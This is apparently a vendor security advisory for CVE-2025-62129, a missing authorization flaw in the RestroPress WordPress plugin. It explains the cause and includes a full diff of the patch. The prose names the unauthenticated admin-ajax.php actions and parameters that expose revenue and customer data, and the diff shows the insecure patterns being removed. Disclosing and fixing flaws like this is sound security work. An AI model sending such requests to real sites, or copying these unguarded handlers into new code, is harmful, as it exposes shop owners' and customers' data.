Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-62129: RestroPress <= 3.2.7 – Missing Authorization (restropress)

Plugin restropress
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.2.7
Patched Version 3.2.8
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-62129:
The vulnerability is a Missing Authorization (CWE-862) flaw in the RestroPress WordPress plugin versions up to and including 3.2.7. It allows unauthenticated attackers to trigger privileged administrative AJAX actions, potentially leading to unauthorized data access or modification. The CVSS score of 5.3 reflects a medium-severity impact.

Atomic Edge research identifies the root cause in the plugin’s AJAX action registration and processing logic. The vulnerable code in `restropress/includes/admin/class-rp-admin-assets.php` (lines 22-30) registers multiple AJAX handlers with both `wp_ajax_` and `wp_ajax_nopriv_` hooks, including `selected_filter`, `order_graph_filter`, `revenue_graph_filter`, and `customers_data_filter`. The `wp_ajax_nopriv_` hooks permit unauthenticated access to these administrative functions. The `rpress_process_actions()` function in `restropress/includes/admin/admin-actions.php` (lines 17-27) processes `rpress-action` parameters from both POST and GET requests without verifying the user’s administrative status or capabilities.

Exploitation involves sending HTTP requests to the WordPress admin-ajax.php endpoint with specific action parameters. An attacker can target `/wp-admin/admin-ajax.php` with POST requests containing `action=selected_filter`, `action=order_graph_filter`, `action=revenue_graph_filter`, or `action=customers_data_filter`. These actions correspond to the vulnerable functions that handle dashboard statistics and customer data filtering. The attacker can manipulate parameters like `select_filter`, `date`, or `selected_option` to retrieve sensitive shop reports and customer information without authentication.

The patch addresses the vulnerability through multiple security enhancements. First, it removes all `wp_ajax_nopriv_` registrations for the affected AJAX handlers in class-rp-admin-assets.php. Second, it adds capability checks using `current_user_can(apply_filters(‘rpress_dashboard_stats_cap’, ‘view_shop_reports’))` within each vulnerable function (lines 231, 813, 1813, 1875). Third, it implements nonce verification with `check_ajax_referer()` calls using newly added nonces like `rpress-admin-reports`. The `rpress_process_actions()` function now includes `is_admin()` and `is_user_logged_in()` checks (lines 18-19) before processing any actions, preventing unauthorized trigger of admin hooks.

Successful exploitation allows unauthenticated attackers to access sensitive shop analytics, including revenue data, order statistics, and customer information. While the vulnerability does not directly enable remote code execution, it exposes confidential business metrics and customer data that should be restricted to authorized administrators. Attackers could use this information for competitive intelligence, social engineering, or as reconnaissance for further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/restropress/includes/admin/add-ons.php
+++ b/restropress/includes/admin/add-ons.php
@@ -214,10 +214,11 @@
 	echo ob_get_clean();
 }
 function rpress_fetch_items() {
-	$url = 'https://www.restropress.com/wp-json/restropress-server/';
-	$version = '1.0';
-	$remote_url = $url . 'v' . $version;
-	$feed = wp_remote_get( esc_url_raw( $remote_url ), array( 'sslverify' => false ) );
+	$url = 'https://www.restropress.com/wp-json/restropress-server/';
+	$version = '1.0';
+	$remote_url = $url . 'v' . $version;
+	$verify_ssl = (bool) apply_filters( 'rpress_remote_request_verify_ssl', true );
+	$feed = wp_remote_get( esc_url_raw( $remote_url ), array( 'sslverify' => $verify_ssl ) );
 	$items = array();
 	if ( ! is_wp_error( $feed ) ) {
 		if ( isset( $feed['body'] ) && strlen( $feed['body'] ) > 0 ) {
@@ -229,4 +230,4 @@
 		$items = '<div class="error"><p>' . esc_html__( 'There was an error retrieving the extensions list from the server. Please try again later.', 'restropress' ) . '</div>';
 	}
 	return $items;
-}
 No newline at end of file
+}
--- a/restropress/includes/admin/admin-actions.php
+++ b/restropress/includes/admin/admin-actions.php
@@ -17,14 +17,24 @@
  * @since 1.0.0
  * @return void
  */
-function rpress_process_actions() {
-	if ( isset( $_POST['rpress-action'] ) ) {
-		do_action( 'rpress_' . sanitize_text_field( $_POST['rpress-action'] ), rpress_sanitize_array( $_POST ) );
-	}
-	if ( isset( $_GET['rpress-action'] ) ) {
-		do_action( 'rpress_' . sanitize_text_field( $_GET['rpress-action'] ), rpress_sanitize_array( $_GET ) );
-	}
-}
+function rpress_process_actions() {
+	if ( ! is_admin() || ! is_user_logged_in() ) {
+		return;
+	}
+
+	if ( isset( $_POST['rpress-action'] ) ) {
+		$action = sanitize_key( wp_unslash( $_POST['rpress-action'] ) );
+		if ( ! empty( $action ) ) {
+			do_action( 'rpress_' . $action, rpress_sanitize_array( $_POST ) );
+		}
+	}
+	if ( isset( $_GET['rpress-action'] ) ) {
+		$action = sanitize_key( wp_unslash( $_GET['rpress-action'] ) );
+		if ( ! empty( $action ) ) {
+			do_action( 'rpress_' . $action, rpress_sanitize_array( $_GET ) );
+		}
+	}
+}
 add_action( 'admin_init', 'rpress_process_actions' );
 /**
  * Display notices to admins
--- a/restropress/includes/admin/class-rp-admin-assets.php
+++ b/restropress/includes/admin/class-rp-admin-assets.php
@@ -22,14 +22,10 @@
       add_action( 'admin_enqueue_scripts', array( $this, 'register_styles' ), 100 );
       add_action( 'admin_head', array( $this, 'admin_icons_buttons' ) );
       add_action( 'wp_ajax_selected_filter', array( $this, 'selected_filter' ) );
-      add_action( 'wp_ajax_nopriv_selected_filter',array( $this, 'selected_filter' ) );
       add_action( 'wp_ajax_rpress_do_ajax_export', array($this, 'rpress_do_ajax_export' ) );
       add_action( 'wp_ajax_order_graph_filter', array( $this, 'order_graph_filter' ) );
-      add_action( 'wp_ajax_nopriv_order_graph_filter', array( $this, 'order_graph_filter') );
       add_action( 'wp_ajax_revenue_graph_filter', array( $this, 'revenue_graph_filter' ) );
-      add_action( 'wp_ajax_nopriv_revenue_graph_filter',array( $this, 'revenue_graph_filter' ) );
       add_action( 'wp_ajax_customers_data_filter', array( $this, 'customers_data_filter') );
-      add_action( 'wp_ajax_nopriv_customers_data_filter', array( $this, 'customers_data_filter') );
     }
     /**
      * Enqueue styles.
@@ -166,9 +162,13 @@
         'load_admin_addon_nonce'      => wp_create_nonce( 'load-admin-addon' ),
         'preview_nonce'               => wp_create_nonce( 'rpress-preview-order' ),
         'order_nonce'                 => wp_create_nonce( 'rpress-order' ),
+        'reports_nonce'               => wp_create_nonce( 'rpress-admin-reports' ),
+        'payment_note_nonce'          => wp_create_nonce( 'rpress-payment-note' ),
+        'check_new_orders_nonce'      => wp_create_nonce( 'rpress-check-new-orders' ),
         'activate_license'            => wp_create_nonce( 'activate-license' ),
         'deactivate_license'          => wp_create_nonce( 'deactivate-license' ),
         'selected_filter_nonce'       => wp_create_nonce( 'selected-filter' ),
+        'bulk_edit_nonce'             => wp_create_nonce( 'rpress-bulk-edit' ),
       );
       wp_localize_script( 'rp-admin', 'rpress_vars',
         $admin_params
@@ -228,6 +228,12 @@
     * @return void
     */
     public function revenue_graph_filter(){
+      if ( ! current_user_can( apply_filters( 'rpress_dashboard_stats_cap', 'view_shop_reports' ) ) ) {
+        wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to access this resource.', 'restropress' ) ), 403 );
+      }
+
+      check_ajax_referer( 'rpress-admin-reports', 'nonce' );
+
       $filter_type = isset( $_POST['select_filter'] ) ? $_POST['select_filter'] : '';
       $SalesByDate = [];
       if( $filter_type == 'yearly') {
@@ -586,6 +592,10 @@
     }

     public function selected_filter() {
+      if ( ! current_user_can( apply_filters( 'rpress_dashboard_stats_cap', 'view_shop_reports' ) ) ) {
+        wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to access this resource.', 'restropress' ) ), 403 );
+      }
+
       check_ajax_referer( 'selected-filter', 'nonce' );

       $pdate      = isset( $_POST['date'] ) ? sanitize_text_field( wp_unslash( $_POST['date'] ) ) : 'today';
@@ -1800,6 +1810,12 @@
       }
     }
     public function order_graph_filter() {
+      if ( ! current_user_can( apply_filters( 'rpress_dashboard_stats_cap', 'view_shop_reports' ) ) ) {
+        wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to access this resource.', 'restropress' ) ), 403 );
+      }
+
+      check_ajax_referer( 'rpress-admin-reports', 'nonce' );
+
       $filter_type = isset( $_POST[ 'select_filter' ] ) ? $_POST[ 'select_filter' ] : '';
       $SalesByDate = [];
       if (  $filter_type === 'monthly' || $filter_type === 'weekly' || $filter_type === 'yearly'  ) {
@@ -1856,6 +1872,12 @@
         return $SalesByDate;
     }
     public function customers_data_filter(){
+      if ( ! current_user_can( apply_filters( 'rpress_dashboard_stats_cap', 'view_shop_reports' ) ) ) {
+        wp_send_json_error( array( 'message' => esc_html__( 'You do not have permission to access this resource.', 'restropress' ) ), 403 );
+      }
+
+      check_ajax_referer( 'rpress-admin-reports', 'nonce' );
+
       $customer_filter = isset( $_POST['selected_option'] ) ? sanitize_text_field( wp_unslash( $_POST['selected_option'] ) ) : 'monthly';
       $today           = gmdate( 'Y-m-d' );

--- a/restropress/includes/admin/class-rpress-notices.php
+++ b/restropress/includes/admin/class-rpress-notices.php
@@ -50,7 +50,7 @@
                     ),
 			    esc_url( admin_url( 'admin.php?page=rpress-settings' ) )
 			); ?></p>
-				<p><a href="<?php echo esc_url( esc_url( add_query_arg( array( 'rpress_action' => 'dismiss_notices', 'rpress_notice' => 'set_menupage' ) ) ) ); ?>"><?php esc_html_e( 'Dismiss Notice', 'restropress' ); ?></a></p>
+				<p><a href="<?php echo esc_url( esc_url( add_query_arg( array( 'rpress_action' => 'dismiss_notices', 'rpress_notice' => 'set_menupage', '_wpnonce' => wp_create_nonce( 'rpress-dismiss-notice' ) ) ) ) ); ?>"><?php esc_html_e( 'Dismiss Notice', 'restropress' ); ?></a></p>
 			</div>
 			<?php
 			$allowed_html = array(
@@ -80,7 +80,7 @@
                     )
                 ),
                  esc_url ( admin_url( 'admin.php?page=rpress-settings' ) ) ); ?></p>
-				<p><a href="<?php echo esc_url( add_query_arg( array( 'rpress_action' => 'dismiss_notices', 'rpress_notice' => 'set_checkout' ) ) ); ?>"><?php esc_html_e( 'Dismiss Notice', 'restropress' ); ?></a></p>
+				<p><a href="<?php echo esc_url( add_query_arg( array( 'rpress_action' => 'dismiss_notices', 'rpress_notice' => 'set_checkout', '_wpnonce' => wp_create_nonce( 'rpress-dismiss-notice' ) ) ) ); ?>"><?php esc_html_e( 'Dismiss Notice', 'restropress' ); ?></a></p>
 			</div>
 			<?php
 			$allowed_html = array(
@@ -255,12 +255,24 @@
 	 * @since 1.0.0
 	 * @return void
 	 */
-	function dismiss_notices() {
-		if( isset( $_GET['rpress_notice'] ) ) {
-			update_user_meta( get_current_user_id(), '_rpress_' . sanitize_text_field( $_GET['rpress_notice'] ) . '_dismissed', 1 );
-			wp_redirect( remove_query_arg( array( 'rpress_action', 'rpress_notice' ) ) );
-			exit;
-		}
-	}
+	function dismiss_notices() {
+		if( ! isset( $_GET['rpress_notice'] ) ) {
+			return;
+		}
+
+		if ( ! current_user_can( 'manage_shop_settings' ) && ! current_user_can( 'edit_pages' ) && ! current_user_can( 'view_shop_reports' ) ) {
+			return;
+		}
+
+		$nonce = isset( $_GET['_wpnonce'] ) ? sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ) : '';
+		if ( ! wp_verify_nonce( $nonce, 'rpress-dismiss-notice' ) ) {
+			return;
+		}
+
+		$notice_key = sanitize_text_field( wp_unslash( $_GET['rpress_notice'] ) );
+		update_user_meta( get_current_user_id(), '_rpress_' . $notice_key . '_dismissed', 1 );
+		wp_redirect( remove_query_arg( array( 'rpress_action', 'rpress_notice', '_wpnonce' ) ) );
+		exit;
+	}
 }
 new RPRESS_Notices;
--- a/restropress/includes/admin/customers/customer-actions.php
+++ b/restropress/includes/admin/customers/customer-actions.php
@@ -216,31 +216,36 @@
  * @since  1.0.0
  * @return void
  */
-function rpress_remove_customer_email() {
-	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
-		return false;
-	}
+function rpress_remove_customer_email() {
+	$customer_edit_role = apply_filters( 'rpress_edit_customers_role', 'edit_shop_payments' );
+	if ( ! is_admin() || ! current_user_can( $customer_edit_role ) ) {
+		wp_die( esc_html__( 'You do not have permission to edit this customer.', 'restropress' ) );
+	}
+
+	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
+		return false;
+	}
 	if ( empty( $_GET['email'] ) || ! is_email( $_GET['email'] ) ) {
 		return false;
 	}
 	if ( empty( $_GET['_wpnonce'] ) ) {
 		return false;
 	}
-	$nonce = sanitize_text_field( $_GET['_wpnonce'] );
+	$nonce = sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) );
 	if ( ! wp_verify_nonce( $nonce, 'rpress-remove-customer-email' ) ) {
 		wp_die( esc_html__( 'Nonce verification failed', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
 	}
-	$customer = new RPRESS_Customer( absint( $_GET['id'] ) );
-	if ( $customer->remove_email( sanitize_email( $_GET['email'] ) ) ) {
-		$url = add_query_arg( 'rpress-message', 'email-removed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
-		$user          = wp_get_current_user();
-		$user_login    = ! empty( $user->user_login ) ? $user->user_login : 'RPRESSBot';
-		$customer_note = sprintf(
-		 /* translators: 1: text, 2: admin url */
-			esc_html__( 'Email address %1$s removed by %2$s', 'restropress' ), sanitize_email( $_GET['email'] ), $user_login );
-		$customer->add_note( $customer_note );
-	} else {
-		$url = add_query_arg( 'rpress-message', 'email-remove-failed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
+	$customer = new RPRESS_Customer( absint( wp_unslash( $_GET['id'] ) ) );
+	if ( $customer->remove_email( sanitize_email( wp_unslash( $_GET['email'] ) ) ) ) {
+		$url = add_query_arg( 'rpress-message', 'email-removed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
+		$user          = wp_get_current_user();
+		$user_login    = ! empty( $user->user_login ) ? $user->user_login : 'RPRESSBot';
+		$customer_note = sprintf(
+		 /* translators: 1: text, 2: admin url */
+			esc_html__( 'Email address %1$s removed by %2$s', 'restropress' ), sanitize_email( wp_unslash( $_GET['email'] ) ), $user_login );
+		$customer->add_note( $customer_note );
+	} else {
+		$url = add_query_arg( 'rpress-message', 'email-remove-failed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
 	}
 	wp_safe_redirect( $url );
 	exit;
@@ -253,32 +258,37 @@
  * @since  1.0.0
  * @return void
  */
-function rpress_set_customer_primary_email() {
-	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
-		return false;
-	}
+function rpress_set_customer_primary_email() {
+	$customer_edit_role = apply_filters( 'rpress_edit_customers_role', 'edit_shop_payments' );
+	if ( ! is_admin() || ! current_user_can( $customer_edit_role ) ) {
+		wp_die( esc_html__( 'You do not have permission to edit this customer.', 'restropress' ) );
+	}
+
+	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
+		return false;
+	}
 	if ( empty( $_GET['email'] ) || ! is_email( $_GET['email'] ) ) {
 		return false;
 	}
 	if ( empty( $_GET['_wpnonce'] ) ) {
 		return false;
 	}
-	$nonce = sanitize_text_field( $_GET['_wpnonce'] );
+	$nonce = sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) );
 	if ( ! wp_verify_nonce( $nonce, 'rpress-set-customer-primary-email' ) ) {
 		wp_die( esc_html__( 'Nonce verification failed', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
 	}
-	$customer = new RPRESS_Customer( absint( $_GET['id'] ) );
-	if ( $customer->set_primary_email( sanitize_email( $_GET['email'] ) ) ){
-		$url = add_query_arg( 'rpress-message', 'primary-email-updated', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
-			/* translators: 1: text, 2: admin url */
-		$user          = wp_get_current_user();
-		$user_login    = ! empty( $user->user_login ) ? $user->user_login : 'RPRESSBot';
-		$customer_note = sprintf
-		 /* translators: 1: text, 2: admin url */
-		( esc_html__( 'Email address %1$s set as primary by %2$s', 'restropress' ), sanitize_email( $_GET['email'] ), $user_login );
-		$customer->add_note( $customer_note );
-	} else {
-		$url = add_query_arg( 'rpress-message', 'primary-email-failed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
+	$customer = new RPRESS_Customer( absint( wp_unslash( $_GET['id'] ) ) );
+	if ( $customer->set_primary_email( sanitize_email( wp_unslash( $_GET['email'] ) ) ) ){
+		$url = add_query_arg( 'rpress-message', 'primary-email-updated', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
+			/* translators: 1: text, 2: admin url */
+		$user          = wp_get_current_user();
+		$user_login    = ! empty( $user->user_login ) ? $user->user_login : 'RPRESSBot';
+		$customer_note = sprintf
+		 /* translators: 1: text, 2: admin url */
+		( esc_html__( 'Email address %1$s set as primary by %2$s', 'restropress' ), sanitize_email( wp_unslash( $_GET['email'] ) ), $user_login );
+		$customer->add_note( $customer_note );
+	} else {
+		$url = add_query_arg( 'rpress-message', 'primary-email-failed', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
 	}
 	wp_safe_redirect( $url );
 	exit;
@@ -445,18 +455,23 @@
  * @since  1.0.0
  * @return void
  */
-function rpress_process_admin_user_verification() {
-	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
-		return false;
-	}
+function rpress_process_admin_user_verification() {
+	$customer_edit_role = apply_filters( 'rpress_edit_customers_role', 'edit_shop_payments' );
+	if ( ! is_admin() || ! current_user_can( $customer_edit_role ) ) {
+		wp_die( esc_html__( 'You do not have permission to verify this customer.', 'restropress' ) );
+	}
+
+	if ( empty( $_GET['id'] ) || ! is_numeric( $_GET['id'] ) ) {
+		return false;
+	}
 	if ( empty( $_GET['_wpnonce'] ) ) {
 		return false;
 	}
-	$nonce = sanitize_text_field( $_GET['_wpnonce'] );
+	$nonce = sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) );
 	if ( ! wp_verify_nonce( $nonce, 'rpress-verify-user' ) ) {
 		wp_die( esc_html__( 'Nonce verification failed', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
 	}
-	$customer = new RPRESS_Customer( absint( $_GET['id'] ) );
+	$customer = new RPRESS_Customer( absint( wp_unslash( $_GET['id'] ) ) );
 	rpress_set_user_to_verified( $customer->user_id );
 	$url = add_query_arg( 'rpress-message', 'user-verified', admin_url( 'admin.php?page=rpress-customers&view=overview&id=' . $customer->id ) );
 	wp_safe_redirect( esc_url( $url ) );
--- a/restropress/includes/admin/fooditems/dashboard-columns.php
+++ b/restropress/includes/admin/fooditems/dashboard-columns.php
@@ -318,13 +318,19 @@
  * @since  1.0.0
  * @return void
  */
-function rpress_save_bulk_edit() {
-	$post_ids = ( isset( $_POST['post_ids'] ) && ! empty( $_POST['post_ids'] ) ) ? rpress_sanitize_array( $_POST['post_ids'] ) : array();
-	if ( ! empty( $post_ids ) && is_array( $post_ids ) ) {
-		$price = isset( $_POST['price'] ) ? strip_tags( stripslashes( sanitize_text_field( $_POST['price'] ) ) ) : 0;
-		foreach ( $post_ids as $post_id ) {
-			if( ! current_user_can( 'edit_post', $post_id ) ) {
-				continue;
+function rpress_save_bulk_edit() {
+	check_ajax_referer( 'rpress-bulk-edit', 'rpress_bulk_nonce' );
+
+	if ( ! current_user_can( 'edit_products' ) ) {
+		wp_die( esc_html__( 'You do not have permission to edit food items.', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
+	}
+
+	$post_ids = ( isset( $_POST['post_ids'] ) && ! empty( $_POST['post_ids'] ) ) ? rpress_sanitize_array( wp_unslash( $_POST['post_ids'] ) ) : array();
+	if ( ! empty( $post_ids ) && is_array( $post_ids ) ) {
+		$price = isset( $_POST['price'] ) ? strip_tags( stripslashes( sanitize_text_field( wp_unslash( $_POST['price'] ) ) ) ) : 0;
+		foreach ( $post_ids as $post_id ) {
+			if( ! current_user_can( 'edit_post', $post_id ) ) {
+				continue;
 			}
 			if ( ! empty( $price ) ) {
 				update_post_meta( $post_id, 'rpress_price', rpress_sanitize_amount( $price ) );
@@ -356,4 +362,4 @@
     }
     return $content;
 }
-add_filter( 'manage_addon_category_custom_column', 'add_addons_price_type_column_content', 10, 3 );
 No newline at end of file
+add_filter( 'manage_addon_category_custom_column', 'add_addons_price_type_column_content', 10, 3 );
--- a/restropress/includes/admin/home/rpress-home.php
+++ b/restropress/includes/admin/home/rpress-home.php
@@ -14,7 +14,15 @@
 function rpress_admin_home_page()
 {
     // Handle form submission before any output
-    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+    if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+        if ( ! current_user_can( 'manage_shop_settings' ) ) {
+            wp_die( esc_html__( 'You do not have permission to update these settings.', 'restropress' ) );
+        }
+
+        $nonce = isset( $_POST['rpress_admin_home_nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['rpress_admin_home_nonce'] ) ) : '';
+        if ( ! wp_verify_nonce( $nonce, 'rpress_admin_home_save' ) ) {
+            wp_die( esc_html__( 'Security check failed. Please try again.', 'restropress' ) );
+        }

         if (isset($_POST['service-pickup']) && isset($_POST['service-delivery'])) {
             $enable_service = 'delivery_and_pickup';
@@ -149,6 +157,7 @@
             <div class="card-body">
                 <!-- tab -->
                 <form class="multiStep" action="" method="POST">
+                    <?php wp_nonce_field( 'rpress_admin_home_save', 'rpress_admin_home_nonce' ); ?>
                     <div class="tab">
                         <div class="welcome-step-1">
                         <!-- tab1_content -->
--- a/restropress/includes/admin/payments/actions.php
+++ b/restropress/includes/admin/payments/actions.php
@@ -317,6 +317,8 @@
 }
 add_action( 'rpress_delete_order', 'rpress_trigger_destroy_order' );
 function rpress_ajax_store_payment_note() {
+	check_ajax_referer( 'rpress-payment-note', 'security' );
+
 	$payment_id = absint( $_POST['payment_id'] );
 	$note       = wp_kses( $_POST['note'], array() );
 	if( ! current_user_can( 'edit_shop_payments', $payment_id ) ) {
@@ -371,6 +373,8 @@
  * @return void
 */
 function rpress_ajax_delete_payment_note() {
+	check_ajax_referer( 'rpress-payment-note', 'security' );
+
 	if( ! current_user_can( 'edit_shop_payments', absint( $_POST['payment_id'] ) ) ) {
 		wp_die( esc_html__( 'You do not have permission to edit this payment record', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
 	}
@@ -390,87 +394,123 @@
  * @since 3.0
  */
 function rpress_orders_list_table_process_bulk_actions() {
-	// Bail if this method was called directly.
-	if (isset($_GET['page']) && $_GET['page'] === 'rpress-payment-history') {
-		$action = isset( $_REQUEST['action'] ) // WPCS: CSRF ok.
-		? sanitize_text_field( $_REQUEST['action'] )
+	$page = isset( $_GET['page'] ) ? sanitize_key( wp_unslash( $_GET['page'] ) ) : '';
+	if ( 'rpress-payment-history' !== $page ) {
+		return;
+	}
+
+	$action = isset( $_REQUEST['action'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) )
 		: '';
-		// If this is a 'delete' action, the capability changes from edit to delete.
-		$cap = 'delete' === $action ? 'delete_shop_payments' : 'edit_shop_payments';
-		// Check the current user's capability.
-		if ( ! current_user_can( $cap ) ) {
-			return;
-		}
-
-		// Bail if we aren't processing bulk actions.
-		if ( '-1' === $action ) {
-			return;
-		}
-		$ids = isset( $_GET['payment'] ) // WPCS: CSRF ok.
-			? $_GET['payment']
-			: false;
-		if ( ! is_array( $ids ) ) {
-			$ids = array( $ids );
+
+	// Bail if we aren't processing bulk actions.
+	if ( empty( $action ) || '-1' === $action ) {
+		return;
+	}
+
+	$nonce = isset( $_REQUEST['_wpnonce'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		? sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) )
+		: '';
+	$plural              = rpress_get_label_plural();
+	$bulk_nonce_actions  = array(
+		'bulk-' . $plural,
+		'bulk-' . strtolower( $plural ),
+		'bulk-' . sanitize_key( $plural ),
+		'bulk-payments',
+		'bulk-orders',
+	);
+	$has_valid_bulk_nonce = false;
+
+	foreach ( $bulk_nonce_actions as $nonce_action ) {
+		if ( ! empty( $nonce_action ) && wp_verify_nonce( $nonce, $nonce_action ) ) {
+			$has_valid_bulk_nonce = true;
+			break;
 		}
-		if ( empty( $action ) ) {
-			return;
+	}
+
+	if ( ! $has_valid_bulk_nonce ) {
+		return;
+	}
+
+	// If this is a 'delete' action, the capability changes from edit to delete.
+	$cap = 'delete' === $action ? 'delete_shop_payments' : 'edit_shop_payments';
+	if ( ! current_user_can( $cap ) ) {
+		return;
+	}
+
+	$ids = isset( $_GET['payment'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		? $_GET['payment'] // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		: false;
+	if ( ! is_array( $ids ) ) {
+		$ids = array( $ids );
+	}
+
+	$ids = wp_parse_id_list( $ids );
+	foreach ( $ids as $id ) {
+		if ( ! current_user_can( $cap, $id ) ) {
+			continue;
 		}
-		$ids = wp_parse_id_list( $ids );
-		foreach ( $ids as $id ) {
-			switch ( $action ) {
-				case 'trash':
-					rpress_trash_order( $id );
-					break;
-				case 'restore':
-					rpress_restore_order( $id );
-					break;
-				case 'delete':
-					rpress_delete_order( $id );
-					break;
-				case 'set-payment-status-paid':
-					rpress_update_payment_status( $id, 'complete' );
-					break;
-				case 'set-payment-status-pending':
-					rpress_update_payment_status( $id, 'pending' );
-					break;
-				case 'set-payment-status-processing':
-					rpress_update_payment_status( $id, 'processing' );
-					break;
-				case 'set-payment-status-failed':
-					rpress_update_payment_status( $id, 'failed' );
-					break;
-				case 'set-payment-status-refunded':
-					rpress_update_payment_status( $id, 'refunded' );
-					break;
-				case 'set-order-status-pending':
-					rpress_update_order_status( $id, 'pending' );
-					break;
-				case 'set-order-status-accepted':
-					rpress_update_order_status( $id, 'accepted' );
-					break;
-				case 'set-order-status-processing':
-					rpress_update_order_status( $id, 'processing' );
-					break;
-				case 'set-order-status-ready':
-					rpress_update_order_status( $id, 'ready' );
-					break;
-				case 'set-order-status-transit':
-					rpress_update_order_status( $id, 'transit' );
-					break;
-
-				case 'set-order-status-cancelled':
-					rpress_update_order_status( $id, 'cancelled' );
-					break;
-				case 'set-order-status-completed':
-					rpress_update_order_status( $id, 'completed' );
-					break;
-				case 'resend-receipt':
-					rpress_email_purchase_receipt( $id, false );
-					break;
-			}
-			do_action( 'rpress_payments_table_do_bulk_action', $id, $action );
+
+		switch ( $action ) {
+			case 'trash':
+				rpress_trash_order( $id );
+				break;
+			case 'restore':
+				rpress_restore_order( $id );
+				break;
+			case 'delete':
+				rpress_delete_order( $id );
+				break;
+			case 'set-payment-status-paid':
+				rpress_update_payment_status( $id, 'complete' );
+				break;
+			case 'set-payment-status-pending':
+				rpress_update_payment_status( $id, 'pending' );
+				break;
+			case 'set-payment-status-processing':
+				rpress_update_payment_status( $id, 'processing' );
+				break;
+			case 'set-payment-status-failed':
+				rpress_update_payment_status( $id, 'failed' );
+				break;
+			case 'set-payment-status-refunded':
+				rpress_update_payment_status( $id, 'refunded' );
+				break;
+			case 'set-order-status-pending':
+				rpress_update_order_status( $id, 'pending' );
+				break;
+			case 'set-order-status-accepted':
+				rpress_update_order_status( $id, 'accepted' );
+				break;
+			case 'set-order-status-processing':
+				rpress_update_order_status( $id, 'processing' );
+				break;
+			case 'set-order-status-ready':
+				rpress_update_order_status( $id, 'ready' );
+				break;
+			case 'set-order-status-transit':
+				rpress_update_order_status( $id, 'transit' );
+				break;
+			case 'set-order-status-cancelled':
+				rpress_update_order_status( $id, 'cancelled' );
+				break;
+			case 'set-order-status-completed':
+				rpress_update_order_status( $id, 'completed' );
+				break;
+			case 'resend-receipt':
+				rpress_email_purchase_receipt( $id, false );
+				break;
 		}
-		wp_safe_redirect( wp_get_referer() );
+
+		do_action( 'rpress_payments_table_do_bulk_action', $id, $action );
+	}
+
+	$redirect_url = wp_get_referer();
+	if ( empty( $redirect_url ) ) {
+		$redirect_url = admin_url( 'admin.php?page=rpress-payment-history' );
 	}
+
+	wp_safe_redirect( $redirect_url );
+	exit;
 }
 add_action( 'admin_init', 'rpress_orders_list_table_process_bulk_actions' );
--- a/restropress/includes/class-rpress-addon-updater.php
+++ b/restropress/includes/class-rpress-addon-updater.php
@@ -381,20 +381,26 @@
 	}
 	public function show_changelog() {
 		// global $edd_plugin_data;
-		if( empty( $_REQUEST['edd_sl_action'] ) || 'view_plugin_changelog' != $_REQUEST['edd_sl_action'] ) {
+		$action = isset( $_REQUEST['edd_sl_action'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['edd_sl_action'] ) ) : '';
+		if ( empty( $action ) || 'view_plugin_changelog' !== $action ) {
 			return;
 		}
-		if( empty( $_REQUEST['plugin'] ) ) {
+		$plugin = isset( $_REQUEST['plugin'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['plugin'] ) ) : '';
+		$slug   = isset( $_REQUEST['slug'] ) ? sanitize_key( wp_unslash( $_REQUEST['slug'] ) ) : '';
+		if ( empty( $plugin ) ) {
 			return;
 		}
-		if( empty( $_REQUEST['slug'] ) ) {
+		if ( empty( $slug ) ) {
 			return;
 		}
 		if( ! current_user_can( 'update_plugins' ) ) {
 			wp_die( esc_html__( 'You do not have permission to install plugin updates', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
 		}
 		$update_cache = get_site_transient( 'update_plugins' );
-		$version_info = $update_cache->response[$_REQUEST['plugin']];
+		if ( empty( $update_cache->response ) || ! is_array( $update_cache->response ) || ! isset( $update_cache->response[ $plugin ] ) ) {
+			return;
+		}
+		$version_info = $update_cache->response[ $plugin ];
 		if ( isset( $version_info->sections ) ) {
 			$sections = $this->convert_object_to_array( $version_info->sections );
 			if ( ! empty( $sections['changelog'] ) ) {
